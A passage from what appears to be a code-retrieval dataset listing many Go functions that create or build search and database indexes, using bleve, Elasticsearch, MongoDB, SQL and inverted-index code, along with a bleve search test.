{\\n\\tglog.V(1).Infof(\\\"CreateIndex(%v)\\\", excludedPaths)\\n\\n\\tmapping := bleve.NewIndexMapping()\\n\\tif len(excludedPaths) > 0 {\\n\\t\\tcustomMapping := bleve.NewDocumentMapping()\\n\\t\\tfor _, path := range excludedPaths {\\n\\t\\t\\tpaths := strings.Split(path, \\\".\\\")\\n\\t\\t\\tpathToMapping(paths, customMapping)\\n\\t\\t}\\n\\t\\tmapping.DefaultMapping = customMapping\\n\\t}\\n\\tindex, err := bleve.NewMemOnly(mapping)\\n\\n\\tif err != nil {\\n\\t\\tglog.Error(err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tbatch := index.NewBatch()\\n\\n\\treturn &bleveIndex{\\n\\t\\tindex: index,\\n\\t\\taddInc: 0,\\n\\t\\tbatch: batch,\\n\\t}, nil\\n}\",\n \"func CreateIndex(context *web.AppContext) *web.AppError {\\n\\n\\tdb := context.MDB\\n\\tvar input model.Index\\n\\tjson.NewDecoder(context.Body).Decode(&input)\\n\\n\\terr := db.Session.DB(\\\"\\\").C(input.Target).EnsureIndex(input.Index)\\n\\tif err != nil {\\n\\t\\tmessage := fmt.Sprintf(\\\"Error creating index [%+v]\\\", input)\\n\\t\\treturn &web.AppError{err, message, http.StatusInternalServerError}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func CreateIndex(fromKind string, fromKindFieldName string, toKind string,\\n\\textractor ForeignKeyExtractor) {\\n\\n\\ti := Indexes[fromKind]\\n\\tif i == nil {\\n\\t\\ti = make(map[string]string)\\n\\t\\tIndexes[fromKind] = i\\n\\t}\\n\\ti[fromKindFieldName] = toKind\\n\\n\\tfkv := ForeignKeyExtractors[fromKind]\\n\\tif fkv == nil {\\n\\t\\tfkv = make(map[string]ForeignKeyExtractor)\\n\\t\\tForeignKeyExtractors[fromKind] = fkv\\n\\t}\\n\\tfkv[fromKindFieldName] = extractor\\n}\",\n \"func BuildIndex(nGram int, dictionary []string) *NGramIndex {\\n\\tindex := make(InvertedIndex)\\n\\n\\tfor id, word := range dictionary {\\n\\t\\tfor _, term := range SplitIntoNGrams(nGram, word) {\\n\\t\\t\\tif _, ok := index[term]; !ok {\\n\\t\\t\\t\\tindex[term] = PostingList{}\\n\\t\\t\\t}\\n\\n\\t\\t\\tindex[term] = append(index[term], uint32(id))\\n\\t\\t}\\n\\t}\\n\\n\\treturn &NGramIndex{\\n\\t\\tnGram: nGram,\\n\\t\\tindex: index,\\n\\t\\tdictionary: dictionary,\\n\\t}\\n}\",\n \"func (i *Index) Create() error {\\n\\n\\tdoc := mapping{Properties: map[string]mappingProperty{}}\\n\\tfor _, f := range i.md.Fields {\\n\\t\\tdoc.Properties[f.Name] = mappingProperty{}\\n\\t\\tfs, err := fieldTypeString(f.Type)\\n\\t\\tif err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\tdoc.Properties[f.Name][\\\"type\\\"] = fs\\n\\t}\\n\\n // Added for apple to apple benchmark\\n doc.Properties[\\\"body\\\"][\\\"type\\\"] = \\\"text\\\"\\n doc.Properties[\\\"body\\\"][\\\"analyzer\\\"] = \\\"my_english_analyzer\\\"\\n doc.Properties[\\\"body\\\"][\\\"search_analyzer\\\"] = \\\"whitespace\\\"\\n doc.Properties[\\\"body\\\"][\\\"index_options\\\"] = \\\"offsets\\\"\\n //doc.Properties[\\\"body\\\"][\\\"test\\\"] = \\\"test\\\"\\n index_map := map[string]int{\\n \\\"number_of_shards\\\" : 1,\\n \\\"number_of_replicas\\\" : 0,\\n }\\n analyzer_map := map[string]interface{}{\\n \\\"my_english_analyzer\\\": map[string]interface{}{\\n \\\"tokenizer\\\": \\\"standard\\\",\\n \\\"char_filter\\\": []string{ \\\"html_strip\\\" } ,\\n \\\"filter\\\" : []string{\\\"english_possessive_stemmer\\\", \\n \\\"lowercase\\\", \\\"english_stop\\\", \\n \\\"english_stemmer\\\", \\n \\\"asciifolding\\\", \\\"icu_folding\\\"},\\n },\\n }\\n filter_map := map[string]interface{}{\\n \\\"english_stop\\\": map[string]interface{}{\\n \\\"type\\\": \\\"stop\\\",\\n \\\"stopwords\\\": \\\"_english_\\\",\\n },\\n \\\"english_possessive_stemmer\\\": map[string]interface{}{\\n \\\"type\\\": \\\"stemmer\\\",\\n \\\"language\\\": \\\"possessive_english\\\",\\n },\\n \\\"english_stemmer\\\" : map[string]interface{}{\\n \\\"type\\\" : \\\"stemmer\\\",\\n \\\"name\\\" : \\\"english\\\",\\n },\\n \\\"my_folding\\\": map[string]interface{}{\\n \\\"type\\\": \\\"asciifolding\\\",\\n \\\"preserve_original\\\": \\\"false\\\",\\n },\\n }\\n analysis_map := map[string]interface{}{\\n \\\"analyzer\\\": analyzer_map,\\n \\\"filter\\\" : filter_map,\\n }\\n settings := map[string]interface{}{\\n \\\"index\\\": index_map,\\n \\\"analysis\\\": analysis_map,\\n }\\n\\n // TODO delete?\\n\\t// we currently manually create the autocomplete mapping\\n\\t/*ac := mapping{\\n\\t\\tProperties: map[string]mappingProperty{\\n\\t\\t\\t\\\"sugg\\\": mappingProperty{\\n\\t\\t\\t\\t\\\"type\\\": \\\"completion\\\",\\n\\t\\t\\t\\t\\\"payloads\\\": true,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}*/\\n\\n\\tmappings := map[string]mapping{\\n\\t\\ti.typ: doc,\\n //\\t\\\"autocomplete\\\": ac,\\n\\t}\\n\\n fmt.Println(mappings)\\n\\n\\t//_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\\\"mappings\\\": mappings}).Do()\\n\\t_, err := i.conn.CreateIndex(i.name).BodyJson(map[string]interface{}{\\\"mappings\\\": mappings, \\\"settings\\\": settings}).Do()\\n\\n if err != nil {\\n fmt.Println(\\\"Error \\\", err)\\n\\t\\tfmt.Println(\\\"!!!!Get Error when using client to create index\\\")\\n\\t}\\n\\n\\treturn err\\n}\",\n \"func CreateNewIndex(rawItems PointArray, dim, nTree, k int, m Metric) (Index, error) {\\n\\t// verify that given items have same dimension\\n\\tl := rawItems.Len()\\n\\tif l < 2 {\\n\\t\\treturn nil, errNotEnoughItems\\n\\t}\\n\\tits := make([]*item, l)\\n\\t//idToItem := make(map[itemId]*item, l)\\n\\tfor i:=0; i < l; i++{\\n\\t\\tv := rawItems.At(i)\\n\\t\\tif v.Dimension() != dim {\\n\\t\\t\\treturn nil, errDimensionMismatch\\n\\t\\t}\\n\\t\\tit := &item{\\n\\t\\t\\tid: itemId(i),\\n\\t\\t\\tvector: v,\\n\\t\\t}\\n\\t\\tits[i] = it\\n\\t\\t//idToItem[it.id] = it\\n\\t}\\n\\tidx := &index{\\n\\t\\tmetric: m,\\n\\t\\tdim: dim,\\n\\t\\tk: k,\\n\\t\\titemIDToItem: rawItems,\\n\\t\\troots: make([]*node, nTree),\\n\\t\\tnodeIDToNode: map[nodeId]*node{},\\n\\t\\tmux: &sync.Mutex{},\\n\\t}\\n\\n\\t// build\\n\\tidx.build(its, nTree)\\n\\treturn idx, nil\\n}\",\n \"func NewIndex(root string) *Index {\\n\\tvar x Indexer;\\n\\n\\t// initialize Indexer\\n\\tx.words = make(map[string]*IndexResult);\\n\\n\\t// collect all Spots\\n\\tpathutil.Walk(root, &x, nil);\\n\\n\\t// for each word, reduce the RunLists into a LookupResult;\\n\\t// also collect the word with its canonical spelling in a\\n\\t// word list for later computation of alternative spellings\\n\\twords := make(map[string]*LookupResult);\\n\\tvar wlist RunList;\\n\\tfor w, h := range x.words {\\n\\t\\tdecls := reduce(&h.Decls);\\n\\t\\tothers := reduce(&h.Others);\\n\\t\\twords[w] = &LookupResult{\\n\\t\\t\\tDecls: decls,\\n\\t\\t\\tOthers: others,\\n\\t\\t};\\n\\t\\twlist.Push(&wordPair{canonical(w), w});\\n\\t}\\n\\n\\t// reduce the word list {canonical(w), w} into\\n\\t// a list of AltWords runs {canonical(w), {w}}\\n\\talist := wlist.reduce(lessWordPair, newAltWords);\\n\\n\\t// convert alist into a map of alternative spellings\\n\\talts := make(map[string]*AltWords);\\n\\tfor i := 0; i < alist.Len(); i++ {\\n\\t\\ta := alist.At(i).(*AltWords);\\n\\t\\talts[a.Canon] = a;\\n\\t}\\n\\n\\t// convert snippet vector into a list\\n\\tsnippets := make([]*Snippet, x.snippets.Len());\\n\\tfor i := 0; i < x.snippets.Len(); i++ {\\n\\t\\tsnippets[i] = x.snippets.At(i).(*Snippet)\\n\\t}\\n\\n\\treturn &Index{words, alts, snippets, x.nspots};\\n}\",\n \"func CreateInvertedIndex() *InvertedIndex {\\n\\tinvertedIndex := &InvertedIndex{\\n\\t\\tHashMap: make(map[uint64]*InvertedIndexEntry),\\n\\t\\tItems: []*InvertedIndexEntry{},\\n\\t}\\n\\treturn invertedIndex\\n}\",\n \"func GenNaiveSearchIndex(item models.Item) string {\\n\\twords := make(map[string]struct{})\\n\\n\\t// Extract name.\\n\\tfor _, v := range extractWords(item.Name) {\\n\\t\\twords[v] = struct{}{}\\n\\t}\\n\\n\\t// Extract type of item.\\n\\tfor _, v := range extractWords(item.Type) {\\n\\t\\twords[v] = struct{}{}\\n\\t}\\n\\n\\t// Extract properties.\\n\\tfor _, mod := range item.ExplicitMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.ImplicitMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.UtilityMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.EnchantMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\tfor _, mod := range item.CraftedMods {\\n\\t\\tfor _, v := range extractWords(mod) {\\n\\t\\t\\twords[v] = struct{}{}\\n\\t\\t}\\n\\t}\\n\\n\\t// Construct final string with sorted keywords.\\n\\tkeys := make([]string, 0, len(words))\\n\\tfor key := range words {\\n\\t\\tkeys = append(keys, key)\\n\\t}\\n\\tsort.Strings(keys)\\n\\treturn strings.Join(keys, \\\" \\\")\\n}\",\n \"func New(docs []string) *Index {\\n\\tm := make(map[string]map[int]bool)\\n\\n\\tfor i := 0; i < len(docs); i++ {\\n\\t\\twords := strings.Fields(docs[i])\\n\\t\\tfor j := 0; j < len(words); j++ {\\n\\t\\t\\tif m[words[j]] == nil {\\n\\t\\t\\t\\tm[words[j]] = make(map[int]bool)\\n\\t\\t\\t}\\n\\t\\t\\tm[words[j]][i+1] = true\\n\\t\\t}\\n\\t}\\n\\treturn &(Index{m})\\n}\",\n \"func GenerateInvertedIndex(fpMaps []map[uint64]int) InvertedIndex {\\n\\n\\t// Create an empty inverted index\\n\\tinvertedIndex := CreateInvertedIndex()\\n\\n\\t// Using the generated hash maps add\\n\\t// each word to the inverted index\\n\\tfor index, fpMap := range fpMaps {\\n\\t\\tfor fp := range fpMap {\\n\\t\\t\\tinvertedIndex.AddItem(fp, index)\\n\\t\\t}\\n\\t}\\n\\treturn *invertedIndex\\n}\",\n \"func CopyToTargetIndex(targetIndex string) ReindexerFunc {\\n\\treturn func(hit *SearchHit, bulkService *BulkService) error {\\n\\t\\t// TODO(oe) Do we need to deserialize here?\\n\\t\\tsource := make(map[string]interface{})\\n\\t\\tif err := json.Unmarshal(*hit.Source, &source); err != nil {\\n\\t\\t\\treturn err\\n\\t\\t}\\n\\t\\treq := NewBulkIndexRequest().Index(targetIndex).Type(hit.Type).Id(hit.Id).Doc(source)\\n\\t\\tif hit.Parent != \\\"\\\" {\\n\\t\\t\\treq = req.Parent(hit.Parent)\\n\\t\\t}\\n\\t\\tif hit.Routing != \\\"\\\" {\\n\\t\\t\\treq = req.Routing(hit.Routing)\\n\\t\\t}\\n\\t\\tbulkService.Add(req)\\n\\t\\treturn nil\\n\\t}\\n}\",\n \"func NewIndexed() *Indexed {\\n\\trand.Seed(time.Now().UTC().UnixNano())\\n\\treturn &Indexed{\\n\\t\\tsize: 0,\\n\\t}\\n}\",\n \"func (c *index) Create(sctx sessionctx.Context, rm kv.RetrieverMutator, indexedValues []types.Datum, h int64, opts ...table.CreateIdxOptFunc) (int64, error) {\\n\\tvar opt table.CreateIdxOpt\\n\\tfor _, fn := range opts {\\n\\t\\tfn(&opt)\\n\\t}\\n\\tss := opt.AssertionProto\\n\\twriteBufs := sctx.GetSessionVars().GetWriteStmtBufs()\\n\\tskipCheck := sctx.GetSessionVars().LightningMode || sctx.GetSessionVars().StmtCtx.BatchCheck\\n\\tkey, distinct, err := c.GenIndexKey(sctx.GetSessionVars().StmtCtx, indexedValues, h, writeBufs.IndexKeyBuf)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\tctx := opt.Ctx\\n\\tif opt.Untouched {\\n\\t\\ttxn, err1 := sctx.Txn(true)\\n\\t\\tif err1 != nil {\\n\\t\\t\\treturn 0, err1\\n\\t\\t}\\n\\t\\t// If the index kv was untouched(unchanged), and the key/value already exists in mem-buffer,\\n\\t\\t// should not overwrite the key with un-commit flag.\\n\\t\\t// So if the key exists, just do nothing and return.\\n\\t\\t_, err = txn.GetMemBuffer().Get(ctx, key)\\n\\t\\tif err == nil {\\n\\t\\t\\treturn 0, nil\\n\\t\\t}\\n\\t}\\n\\n\\t// save the key buffer to reuse.\\n\\twriteBufs.IndexKeyBuf = key\\n\\tif !distinct {\\n\\t\\t// non-unique index doesn't need store value, write a '0' to reduce space\\n\\t\\tvalue := []byte{'0'}\\n\\t\\tif opt.Untouched {\\n\\t\\t\\tvalue[0] = kv.UnCommitIndexKVFlag\\n\\t\\t}\\n\\t\\terr = rm.Set(key, value)\\n\\t\\tif ss != nil {\\n\\t\\t\\tss.SetAssertion(key, kv.None)\\n\\t\\t}\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\tif skipCheck {\\n\\t\\tvalue := EncodeHandle(h)\\n\\t\\tif opt.Untouched {\\n\\t\\t\\tvalue = append(value, kv.UnCommitIndexKVFlag)\\n\\t\\t}\\n\\t\\terr = rm.Set(key, value)\\n\\t\\tif ss != nil {\\n\\t\\t\\tss.SetAssertion(key, kv.None)\\n\\t\\t}\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\tif ctx != nil {\\n\\t\\tif span := opentracing.SpanFromContext(ctx); span != nil && span.Tracer() != nil {\\n\\t\\t\\tspan1 := span.Tracer().StartSpan(\\\"index.Create\\\", opentracing.ChildOf(span.Context()))\\n\\t\\t\\tdefer span1.Finish()\\n\\t\\t\\tctx = opentracing.ContextWithSpan(ctx, span1)\\n\\t\\t}\\n\\t} else {\\n\\t\\tctx = context.TODO()\\n\\t}\\n\\n\\tvar value []byte\\n\\tvalue, err = rm.Get(ctx, key)\\n\\t// If (opt.Untouched && err == nil) is true, means the key is exists and exists in TiKV, not in txn mem-buffer,\\n\\t// then should also write the untouched index key/value to mem-buffer to make sure the data\\n\\t// is consistent with the index in txn mem-buffer.\\n\\tif kv.IsErrNotFound(err) || (opt.Untouched && err == nil) {\\n\\t\\tv := EncodeHandle(h)\\n\\t\\tif opt.Untouched {\\n\\t\\t\\tv = append(v, kv.UnCommitIndexKVFlag)\\n\\t\\t}\\n\\t\\terr = rm.Set(key, v)\\n\\t\\tif ss != nil {\\n\\t\\t\\tss.SetAssertion(key, kv.NotExist)\\n\\t\\t}\\n\\t\\treturn 0, err\\n\\t}\\n\\n\\thandle, err := DecodeHandle(value)\\n\\tif err != nil {\\n\\t\\treturn 0, err\\n\\t}\\n\\treturn handle, kv.ErrKeyExists\\n}\",\n \"func NewAutoincrementIndex(o ...option.Option) index.Index {\\n\\topts := &option.Options{}\\n\\tfor _, opt := range o {\\n\\t\\topt(opts)\\n\\t}\\n\\n\\tu := &Autoincrement{\\n\\t\\tindexBy: opts.IndexBy,\\n\\t\\ttypeName: opts.TypeName,\\n\\t\\tfilesDir: opts.FilesDir,\\n\\t\\tbound: opts.Bound,\\n\\t\\tindexBaseDir: path.Join(opts.DataDir, \\\"index.cs3\\\"),\\n\\t\\tindexRootDir: path.Join(path.Join(opts.DataDir, \\\"index.cs3\\\"), strings.Join([]string{\\\"autoincrement\\\", opts.TypeName, opts.IndexBy}, \\\".\\\")),\\n\\t\\tcs3conf: &Config{\\n\\t\\t\\tProviderAddr: opts.ProviderAddr,\\n\\t\\t\\tDataURL: opts.DataURL,\\n\\t\\t\\tDataPrefix: opts.DataPrefix,\\n\\t\\t\\tJWTSecret: opts.JWTSecret,\\n\\t\\t\\tServiceUser: opts.ServiceUser,\\n\\t\\t},\\n\\t\\tdataProvider: dataProviderClient{\\n\\t\\t\\tbaseURL: singleJoiningSlash(opts.DataURL, opts.DataPrefix),\\n\\t\\t\\tclient: http.Client{\\n\\t\\t\\t\\tTransport: http.DefaultTransport,\\n\\t\\t\\t},\\n\\t\\t},\\n\\t}\\n\\n\\treturn u\\n}\",\n \"func TestEngine_WriteIndex_NoKeys(t *testing.T) {\\n\\te := OpenDefaultEngine()\\n\\tdefer e.Close()\\n\\tif err := e.WriteIndex(nil, nil, nil); err != nil {\\n\\t\\tt.Fatal(err)\\n\\t}\\n}\",\n \"func buildIndexWithWalk(dir string) {\\n\\t//fmt.Println(len(documents))\\n\\tfilepath.Walk(dir, func(path string, f os.FileInfo, err error) error {\\n\\t\\tif (err != nil) {\\n\\t\\t\\tfmt.Fprintln(os.Stdout, err)\\n\\t\\t}\\n\\t\\tdocuments = append(documents, path)\\n\\t\\treturn nil\\n\\t});\\n}\",\n \"func BuildInvertedIndex() (map[string]*InvertedIndexEntry, error) {\\n\\tfileName := \\\"db.jsonl\\\"\\n\\n\\tdata, err := ioutil.ReadFile(fileName)\\n\\n\\tif err != nil {\\n\\t\\tfmt.Fprintf(os.Stderr, \\\"buildIndex:read %v\\\\n\\\", err)\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\tvar invertedIndex = make(map[string]*InvertedIndexEntry)\\n\\n\\tfor _, line := range strings.Split(string(data), \\\"\\\\n\\\") {\\n\\t\\t// line is a document\\n\\t\\t// go over `safe_title` and `transcript`,\\n\\t\\t// lower case, split at whitespace,\\n\\t\\t// for each string entry, add to invertedIndex\\n\\t\\t// profit\\n\\t\\tcomicLine := Comic{}\\n\\t\\terr := json.Unmarshal([]byte(line), &comicLine)\\n\\n\\t\\tif err != nil {\\n\\t\\t\\tfmt.Fprintf(os.Stderr, \\\"buildIndex:marshal %v\\\\n\\\", err)\\n\\t\\t\\treturn nil, err\\n\\t\\t}\\n\\n\\t\\t// todo: account for searchterms being substrings of fields\\n\\t\\ttitleFields := strings.Fields(comicLine.SafeTitle)\\n\\t\\ttranscriptFields := strings.Fields(comicLine.Transcript)\\n\\n\\t\\tcombinedList := append(titleFields, transcriptFields...)\\n\\n\\t\\tfor _, value := range combinedList {\\n\\t\\t\\tsearchValue := strings.ToLower(value)\\n\\t\\t\\texistingEntry := invertedIndex[searchValue]\\n\\n\\t\\t\\tif existingEntry == nil {\\n\\t\\t\\t\\tentry := InvertedIndexEntry{}\\n\\t\\t\\t\\tentry.SearchTerm = searchValue\\n\\t\\t\\t\\tentry.Comics = make(map[int]Comic)\\n\\t\\t\\t\\tentry.Comics[comicLine.Num] = comicLine\\n\\t\\t\\t\\tentry.Frequency = 1\\n\\t\\t\\t\\tinvertedIndex[searchValue] = &entry\\n\\t\\t\\t} else {\\n\\t\\t\\t\\texistingEntry.Frequency++\\n\\t\\t\\t\\texistingEntry.Comics[comicLine.Num] = comicLine\\n\\t\\t\\t}\\n\\t\\t}\\n\\t}\\n\\n\\treturn invertedIndex, nil\\n}\",\n \"func (cc *TicketsChaincode) createIndex(stub shim.ChaincodeStubInterface, indexName string, attributes []string) error {\\n\\tfmt.Println(\\\"- start create index\\\")\\n\\tvar err error\\n\\n\\tindexKey, err := stub.CreateCompositeKey(indexName, attributes)\\n\\tif err != nil {\\n\\t\\treturn err\\n\\t}\\n\\n\\tvalue := []byte{0x00}\\n\\tstub.PutState(indexKey, value)\\n\\n\\tfmt.Println(\\\"created index\\\")\\n\\treturn nil\\n}\",\n \"func NewLogIndex() indices.Index { return &logIndex{} }\",\n \"func BuildIndex(dir string){\\n\\tconfig := Config()\\n\\tbuilder := makeIndexBuilder(config)\\n\\tbuilder.Build(\\\"/\\\")\\n\\tsort.Strings(documents)\\n\\tsave(documents, config)\\n}\",\n \"func (s *BasePlSqlParserListener) ExitCreate_index(ctx *Create_indexContext) {}\",\n \"func NewIndexedFile(fileName string) (*File, error) {\\n\\tfile := &File{Name: fileName}\\n\\tmeta, err := createMetadata(fileName)\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfile.meta = meta\\n\\tif err = file.meta.evaluateForFile(); err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\tfile.status = INDEXED\\n\\treturn file, nil\\n}\",\n \"func NewElasticsearchTarget(id string, args ElasticsearchArgs, doneCh <-chan struct{}, loggerOnce func(ctx context.Context, err error, id interface{}, kind ...interface{}), test bool) (*ElasticsearchTarget, error) {\\n\\ttarget := &ElasticsearchTarget{\\n\\t\\tid: event.TargetID{ID: id, Name: \\\"elasticsearch\\\"},\\n\\t\\targs: args,\\n\\t\\tloggerOnce: loggerOnce,\\n\\t}\\n\\n\\tif args.QueueDir != \\\"\\\" {\\n\\t\\tqueueDir := filepath.Join(args.QueueDir, storePrefix+\\\"-elasticsearch-\\\"+id)\\n\\t\\ttarget.store = NewQueueStore(queueDir, args.QueueLimit)\\n\\t\\tif err := target.store.Open(); err != nil {\\n\\t\\t\\ttarget.loggerOnce(context.Background(), err, target.ID())\\n\\t\\t\\treturn target, err\\n\\t\\t}\\n\\t}\\n\\n\\tctx, cancel := context.WithTimeout(context.Background(), 5*time.Second)\\n\\tdefer cancel()\\n\\n\\terr := target.checkAndInitClient(ctx)\\n\\tif err != nil {\\n\\t\\tif target.store == nil || err != errNotConnected {\\n\\t\\t\\ttarget.loggerOnce(context.Background(), err, target.ID())\\n\\t\\t\\treturn target, err\\n\\t\\t}\\n\\t}\\n\\n\\tif target.store != nil && !test {\\n\\t\\t// Replays the events from the store.\\n\\t\\teventKeyCh := replayEvents(target.store, doneCh, target.loggerOnce, target.ID())\\n\\t\\t// Start replaying events from the store.\\n\\t\\tgo sendEvents(target, eventKeyCh, doneCh, target.loggerOnce)\\n\\t}\\n\\n\\treturn target, nil\\n}\",\n \"func NewCorpus(filename string) (*Writer, error) {\\n\\tname := root(filename)\\n\\n\\tfp, err := os.Create(name + \\\".index\\\")\\n\\tif err != nil {\\n\\t\\treturn nil, err\\n\\t}\\n\\n\\trdr, wtr := io.Pipe()\\n\\n\\tret := make(chan error, 1)\\n\\n\\tgo func() {\\n\\t\\terr := write(rdr, name+\\\".data.dz\\\", 9)\\n\\t\\tret <- err\\n\\t}()\\n\\n\\tw := &Writer{\\n\\t\\tidx: fp,\\n\\t\\tdz: wtr,\\n\\t\\tchRet: ret,\\n\\t\\topened: true,\\n\\t}\\n\\treturn w, nil\\n}\",\n \"func (al *AccessLayer) CreateIndices(temp bool) error {\\n\\n\\tidxMap := map[string][]string{\\n\\t\\tstopsTable: []string{\\\"stop_name\\\"},\\n\\t\\tstopTimesTable: []string{\\\"trip_id\\\", \\\"arrival_time\\\"},\\n\\t\\ttripsTable: []string{\\\"trip_id\\\", \\\"service_id\\\"},\\n\\t}\\n\\tfor t, indices := range idxMap {\\n\\t\\tfor _, c := range indices {\\n\\t\\t\\tt := getTableName(t, temp)\\n\\t\\t\\ti := fmt.Sprintf(\\\"idx_%s\\\", c)\\n\\t\\t\\tif al.indexExists(t, i) {\\n\\t\\t\\t\\tcontinue\\n\\t\\t\\t}\\n\\t\\t\\tq := fmt.Sprintf(\\\"CREATE INDEX %s ON %s(%s)\\\", i, t, c)\\n\\t\\t\\t_, err := al.AL.Exec(q)\\n\\t\\t\\tif err != nil {\\n\\t\\t\\t\\tal.logger.Errorf(\\\"Error creating index %s against %s\\\", i, t)\\n\\t\\t\\t\\treturn err\\n\\t\\t\\t}\\n\\t\\t\\tal.logger.Infof(\\\"Created index %s against %s\\\", i, t)\\n\\t\\t}\\n\\t}\\n\\n\\treturn nil\\n}\",\n \"func TestIndex(t *testing.T) {\\n\\tdefer os.RemoveAll(\\\"testidx\\\")\\n\\n\\tindex, err := New(\\\"testidx\\\", mapping)\\n\\tif err != nil {\\n\\t\\tt.Fatal(err)\\n\\t}\\n\\tdefer index.Close()\\n\\n\\t// index all the people\\n\\tfor _, person := range people {\\n\\t\\terr = index.Index(person.Identifier, person)\\n\\t\\tif err != nil {\\n\\t\\t\\tt.Error(err)\\n\\t\\t}\\n\\t}\\n\\n\\ttermQuery := NewTermQuery(\\\"marti\\\").SetField(\\\"name\\\")\\n\\tsearchRequest := NewSearchRequest(termQuery)\\n\\tsearchResult, err := index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(1) {\\n\\t\\tt.Errorf(\\\"expected 1 total hit for term query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"a\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'a', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t}\\n\\n\\ttermQuery = NewTermQuery(\\\"noone\\\").SetField(\\\"name\\\")\\n\\tsearchRequest = NewSearchRequest(termQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(0) {\\n\\t\\tt.Errorf(\\\"expected 0 total hits\\\")\\n\\t}\\n\\n\\tmatchPhraseQuery := NewMatchPhraseQuery(\\\"long name\\\")\\n\\tsearchRequest = NewSearchRequest(matchPhraseQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(1) {\\n\\t\\tt.Errorf(\\\"expected 1 total hit for phrase query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"b\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'b', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t}\\n\\n\\ttermQuery = NewTermQuery(\\\"walking\\\").SetField(\\\"name\\\")\\n\\tsearchRequest = NewSearchRequest(termQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(0) {\\n\\t\\tt.Errorf(\\\"expected 0 total hits\\\")\\n\\t}\\n\\n\\tmatchQuery := NewMatchQuery(\\\"walking\\\").SetField(\\\"name\\\")\\n\\tsearchRequest = NewSearchRequest(matchQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(1) {\\n\\t\\tt.Errorf(\\\"expected 1 total hit for match query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"c\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'c', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t}\\n\\n\\tprefixQuery := NewPrefixQuery(\\\"bobble\\\").SetField(\\\"name\\\")\\n\\tsearchRequest = NewSearchRequest(prefixQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(1) {\\n\\t\\tt.Errorf(\\\"expected 1 total hit for prefix query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"d\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'd', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t}\\n\\n\\tsyntaxQuery := NewSyntaxQuery(\\\"+name:phone\\\")\\n\\tsearchRequest = NewSearchRequest(syntaxQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(1) {\\n\\t\\tt.Errorf(\\\"expected 1 total hit for syntax query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"d\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'd', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t}\\n\\n\\tmaxAge := 30.0\\n\\tnumericRangeQuery := NewNumericRangeQuery(nil, &maxAge).SetField(\\\"age\\\")\\n\\tsearchRequest = NewSearchRequest(numericRangeQuery)\\n\\tsearchResult, err = index.Search(searchRequest)\\n\\tif err != nil {\\n\\t\\tt.Error(err)\\n\\t}\\n\\tif searchResult.Total != uint64(2) {\\n\\t\\tt.Errorf(\\\"expected 2 total hits for numeric range query, got %d\\\", searchResult.Total)\\n\\t} else {\\n\\t\\tif searchResult.Hits[0].ID != \\\"b\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected top hit id 'b', got '%s'\\\", searchResult.Hits[0].ID)\\n\\t\\t}\\n\\t\\tif searchResult.Hits[1].ID != \\\"a\\\" {\\n\\t\\t\\tt.Errorf(\\\"expected next hit id 'a', got '%s'\\\", searchResult.Hits[1].ID)\\n\\t\\t}\\n\\t}\\n\\n\\tstartDate = \\\"2010-01-01\\\"\\n\\tdateRangeQuery := 